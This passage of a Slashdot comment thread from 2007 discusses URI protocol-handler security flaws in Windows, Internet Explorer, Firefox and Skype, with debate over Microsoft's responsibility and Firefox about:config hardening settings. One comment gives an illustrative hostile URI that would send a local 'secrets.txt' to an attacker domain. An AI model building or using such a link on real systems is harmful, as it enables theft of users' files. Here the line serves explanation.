Indeed - although I'd say that 'bad implementation' that leads to a 'security hole' qualifies as a bug. In fact, probably a priority one bug. But I'm picky about how the apps I ship treat their users' data.

Easily mitigated, too, of course, because there's no rule that says that Skype's installer has to register the same executable as its protocol handler as it uses to handle user input at the command line. Use different executables, and the risk goes away. A small protocol handling exe that validates the input, extracts the information it needs, and uses it to launch the main Skype program is not going to be a huge additional component in an installation.

Register a protocol handler in the Windows registry, and you're taking responsibility for handling any URL you're given that begins with that protocol. It's not that hard to understand. Why people keep on insisting this is somehow a flaw in Windows I don't know...

Re:What is the OS coverage? (1)

IBBoard (1128019) | more than 6 years ago | (#20248719)

I was talking to a work-mate after posting that and he said a similar thing - it depends what you class as a bug, it could be a security bug.

IMO it wouldn't be a bug. To me a bug is something that shouldn't be happening, full stop. e.g. ability to inject data (as you can with a bad PHP script, register global variables and a specially constructed query string), ability to corrupt data or cause crashes (as you can do with a buffer overflow) or ability to bypass a security measure through some simple means (like my college's web filtering software that let you get to blockedexample.com by going to something like http://example.com/ [example.com]).

This, on the other hand, is just lax security or bad separation in design. It might be functionality that you want on the whole and hence a feature (as in my example) but to me registering the whole EXE is a bad choice, not checking the input when invoked in that way (if it's possible) is a bad choice, allowing the data sending without confirmations was potentially a bad choice, and so on.

Having said all that then I would still expect it to turn up in a bug tracking app ;) But phpBB have a separate "security bug tracker".

Re:What is the OS coverage? (1)

PhilHibbs (4537) | more than 6 years ago | (#20247151)

It doesn't have to be a bug, it just has to be a poorly-thought-out feature. For instance, a file transfer application that can be invoked from a handler, e.g. clicking sender:source=c:/secrets.txt?target=http://datathi eves.com on a web page could invoke the "sender" handler application to send your secrets.txt to datathieves.com - is this a bug, or just a stupid application doing something unfortunate?

Whew... (4, Funny)

Spy der Mann (805235) | more than 6 years ago | (#20247015)

Good thing I use Firefox and not that "URI browser". I feel safe.

Re:Whew... (1)

Carthag (643047) | more than 6 years ago | (#20247119)

Don't be too careless. Apparently the URI Browser can be tricked into sending malicious data to Firefox!!

OT (1)

Opportunist (166417) | more than 6 years ago | (#20247139)

Mind if I linked to your journal entry next time I need to write something about security? It would save me a lot of typing...

Yeah, yeah (1, Flamebait)

nagora (177841) | more than 6 years ago | (#20247047)

It'll be a cold day in hell before I take security advice from a bunch of crooks like Ernst & Young. Presumably there's some obscure way they can make money out of this announcement.

Better late than never (0)

Anonymous Coward | more than 6 years ago | (#20247317)

showed how a browser could be tricked into sending malformed data to Firefox

Oh shit. I had better switch to IE then!

Custom prefixes... blah! (2, Interesting)

billcopc (196330) | more than 6 years ago | (#20247413)

This is just an expansion (or rehash) of the exploit using custom "protocol" prefixes (the http:/// [http] part). Now I must be on different intertubes than the rest of y'all, because I hardly ever (read: never) see anything but http, ftp and mailto in the links I use, and I build both public (as in gimmicky) web sites and business apps for a living. Anything else should be handled by a browser PLUGIN, not some creaky registry hack that can spawn any random process. The difference should be obvious: you can have a thousand executables on a PC, but probably less than a dozen browser plugins, making it a lot easier to spot suspicious bits.

Why do we need so many bizarre launchers anyway ? Do people really click funky URIs in IE7 to launch the copy of Firefox that's already installed on their system ? How about a desktop icon, you stupid shits!

It's called a URI (3, Insightful)

brunes69 (86786) | more than 6 years ago | (#20247617)

It's part of the protocol. Any link on any web page should be able to specify ANY protocol.

Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?

The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.

Non story.

It's not stupid. (2, Interesting)

argent (18001) | more than 6 years ago | (#20249025)

The problem is that there's no way on Windows or OSX to register a protocol handler for shell programs (Finder, Windows Explorer, the KDE file manager) or applications internal use (help: on both Windows and OSX) without it also being available to the web browsers. This means that any application that isn't designed to deal with untrusted input that the browser developer hasn't yet explicitly blocked is a point of entry.

Exploits using this approach have been found via IE since 1997, and via Safari since 2004.

A microsoft education for end users (1)

bl8n8r (649187) | more than 6 years ago | (#20247423)

> Microsoft is working to educate users and developers about these security issues

Yep. We know all about Microsoft's education*:

In no event shall microsoft or its suppliers be liable for any special, incidental, punitive, indirect, or consequential damages whatsoever (including, but not limited to, damages for loss of profits or confidential or other information, for business interruption, for personal injury, for loss of privacy, for failure to meet any duty including of good faith or of reasonable care, for negligence, and for any other pecuniary or other loss whatsoever)

[*] - http://www.microsoft.com/windowsxp/home/eula.mspx [microsoft.com]

Nice to have features (1)

realmike (1143439) | more than 6 years ago | (#20248083)

Development of great software must include a process to review and cut down on feature on each release. Otherwise it becomes a feature bloat [wikipedia.org] and becomes ugly and dangerous.

Mike | Optimalprint [optimalprint.com]

Want to disable it alltogether ? (4, Informative)

Anonymous Coward | more than 6 years ago | (#20248845)

Goto about:config and

set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).

Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).

To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).

For more info start at http://kb.mozillazine.org/Network.protocol-handler .expose-all [mozillazine.org]
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol [mozillazine.org]

This is ten years old news! (1)

argent (18001) | more than 6 years ago | (#20249097)

I've been talking about this kind of problem in Windows and the HTML control since the late '90s, and in OSX and LaunchServices since 2004. It's worse in Windows, because you have the same stupid lack of security design in ActiveX which is a much harder nut to crack...

http://www.scarydevil.com/~peter/io/apple.html [scarydevil.com] and later posts in http://www.scarydevil.com/~peter/io/ [scarydevil.com] ...

PS... (1)

argent (18001) | more than 6 years ago | (#20249149)

The articles on my site are primarily about Apple, mostly because Microsoft has similar vulnerabilities discovered at far too great a rate for me to keep up. There was a patch for another one (an ActiveX component used by other programs not being explicitly blocked by the HTML control) on Tuesday.

PPS: the last paragraph is 100% wrong... (1)

argent (18001) | more than 6 years ago | (#20249421)

Griesi said that he does not see any of these URI issues as something that needs to be fixed in Windows or Internet Explorer. That's up to the individual software developers whose programs may be misused. "Security is an industry responsibility and this is certainly a case of that [principle]," he said. "It's not Microsoft's position to be the gatekeeper of all third-party applications."

100% wrong. Microsoft doesn't provide a mechanism for applications to create both secure URI handlers for browsers as well as shell URIs for internal use. If they did, if they had a way to register components (URI handlers, file type handlers, Plugins, ActiveX controls, and so on) for use by shells (eg, Windows Explorer) only, or for use by browsers only, then we would have seen significantly fewer exploits on Windows over the past decade.

This is harder for Microsoft to fix than for Apple to fix, because in Windows the HTML control is the gatekeeper... not the application. Apple hasn't integrated Webcore as far as IE, and since Webcore is based on KHTML it's using the inherently secure IO Slave model rather than leaving it up to the HTML display engine to try and guess what plugins should be allowed.

But it DOES need to be fixed on both platforms.

MS ducks responsibility again....no surprise. (1)

CodeShark (17400) | more than 6 years ago | (#20249379)

Griesi said that he does not see any of these URI issues as something that needs to be fixed in Windows or Internet Explorer. That's up to the individual software developers whose programs may be misused... "It's not Microsoft's position to be the gatekeeper of all third-party applications."


Except that as far as I can tell, it's the WinXX OS kluges that are allowing the security breaches to access system resources. Correct me if I am wrong but wasn't it a Mr. Bill Gates told the world that security was now the number #1 priority at Microsoft a few years back.

Companies that speak with forked tongues deserve to have said tongue cut off, don't you think?

Load More Comments
Slashdot Account

Need an Account?

Forgot your password?

Don't worry, we never post anything without your permission.

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>
Sign up for Slashdot Newsletters
Create a Slashdot Account

Loading...